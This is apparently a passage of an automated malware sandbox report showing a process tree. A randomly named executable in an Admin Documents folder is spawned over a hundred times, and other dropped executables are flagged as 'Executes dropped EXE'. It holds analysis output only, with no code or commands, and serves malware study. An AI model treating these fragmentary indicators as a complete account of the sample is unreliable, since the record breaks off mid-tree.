- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13416
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13548
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:1648
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12908
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13916
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14016
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14204
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:8276
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10548
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13544
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13652
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13808
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14020
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14312
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13376
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13584
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13640
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12468
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14276
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10040
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14040
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14096
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9188
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13328
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14156
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10660
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13924
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13684
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14096
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13324
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13700
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14104
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9800
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13844
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13744
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:6888
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13844
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13612
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:6888
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13428
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13344
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11744
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13896
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13440
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11756
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11972
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11652
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13044
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14332
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13632
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13504
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13768
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11016
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13332
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12996
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13384
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13768
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14472
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14644
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14764
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14928
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:15060
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:15192
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:15304
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14352
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14432
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14596
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14784
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14952
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:15120
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:1028
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:15324
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14388
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14512
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14660
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4064
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14952
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:15248
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:1364
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14092
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14520
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14736
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10884
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:15108
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14572
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:6612
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14888
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14492
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14768
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14916
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13452
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:15292
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13848
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14456
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14396
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14960
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:15148
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:12076
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14872
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14484
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14764
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:796
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14672
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5368
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14228
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13940
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14868
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14412
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14348
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:15088
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11332
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14432
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13676
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5320
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10420
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:15268
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14160
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11576
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:15300
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11424
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14308
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:3160
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4064
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11292
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5668
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14288
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:13660
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:3144
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:15476
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:15604
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:15724
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:15844
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:15916
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:16028
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:16168
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:16288
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:3732
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10220
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:15572
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:15604
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:15796
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:15888
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11740
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:16284
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5668
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:15484
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:14584
- C:\Users\Admin\Documents\xuzTeljIahrH0DigaXte0fSc.exe
  "C:\Users\Admin\Documents\xuzTeljIahrH0DigaXte0fSc.exe"
  2⤵
  - Executes dropped EXE
  PID:1652
- - C:\Users\Admin\Documents\xuzTeljIahrH0DigaXte0fSc.exe
    "C:\Users\Admin\Documents\xuzTeljIahrH0DigaXte0fSc.exe"
    3⤵
    PID:4748
- C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe
  "C:\Users\Admin\Documents\oveWnbot0vxP1Umv5dEbqYBR.exe"
  2⤵
  - Executes dropped EXE
